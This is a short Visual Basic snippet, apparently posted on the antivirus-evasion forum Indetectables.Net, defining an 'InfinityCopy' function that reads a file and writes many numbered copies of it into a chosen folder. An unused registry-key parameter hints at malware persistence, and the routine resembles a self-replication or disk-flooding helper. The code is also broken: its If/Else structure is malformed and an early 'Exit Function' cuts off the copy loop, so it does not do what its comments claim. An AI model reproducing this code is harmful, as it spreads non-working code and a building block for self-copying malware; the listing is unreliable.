Código: Seleccionar todo
'___________________________________________________________________
'Function InfinityCopy
'Coded By The Swash at 23/12/2009
'Contact: [email protected]
'www.Indetectables.Net
'___________________________________________________________________
Public Function InfinityCopy(File As String, Cantidad As Integer, NewPath As String, KeyRegistry As String) As String
Dim xd As String, NewC As String 'Define Variables
For i = 1 To Cantidad 'Run Bucle to copy
If GetAttr(File) Then 'Verifie file exist
Open File For Binary As #1 'If File Exist then Open File
xd = Space(FileLen(File)) 'Get characters
Get #1, , xd 'Save info
Close #1 'Close file
End If 'End condition
Else 'If not met condition then Exit
Exit Function
NewC = NewPath & "\" & i & Right(File, 4) 'Path & files & Extension
Open NewC For Binary As #1 'Create new files
Put #1, , xd 'Write info
Close #1 'Close files
Next i 'End For
End Function
